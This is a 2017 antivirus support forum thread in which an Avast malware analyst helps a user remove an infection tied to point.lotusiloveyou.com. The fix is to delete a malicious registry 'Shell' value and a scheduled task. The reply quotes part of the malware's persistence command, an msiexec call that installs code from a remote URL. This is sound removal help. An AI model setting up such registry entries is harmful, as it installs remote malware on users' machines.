Author Topic: point.lotusiloveyou.com  (Read 1804 times)

0 Members and 1 Guest are viewing this topic.

REDACTED

  • Guest
point.lotusiloveyou.com
« on: April 21, 2017, 10:36:29 AM »
Hi

Like many of users of avast I see the alert about point.lotusiloveyou.com I did scan with FRST as any other scans doesnt help. Atached file please advise. Thank you

Offline Jiří Šembera

  • Avast team
  • Jr. Member
  • *
  • Posts: 46
  • Developer/Malware Analyst, former VPS maintainer
Re: point.lotusiloveyou.com
« Reply #1 on: April 21, 2017, 02:22:47 PM »
Hi Przemyslaw8

there is a malicious entry in your registry. Open regedit (Win+R, type regedit), navigate to Computer\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies and there shloud be an entry named "Shell" with value "explorer.exe,msiexec.exe /i http://poi....". Delete it.

Then run (via Win+R dialog) control schedtasks. Select "Task Scheduler Library" in the left panel. In the list in the middle select "PowerWord-SCT-JT" task and delete it.

Then reboot your computer.

Let me know if it worked.


Jiri

REDACTED

  • Guest
Re: point.lotusiloveyou.com
« Reply #2 on: April 21, 2017, 06:50:03 PM »
No any Avast messages in couple of hours so looks like its work for me. Thank you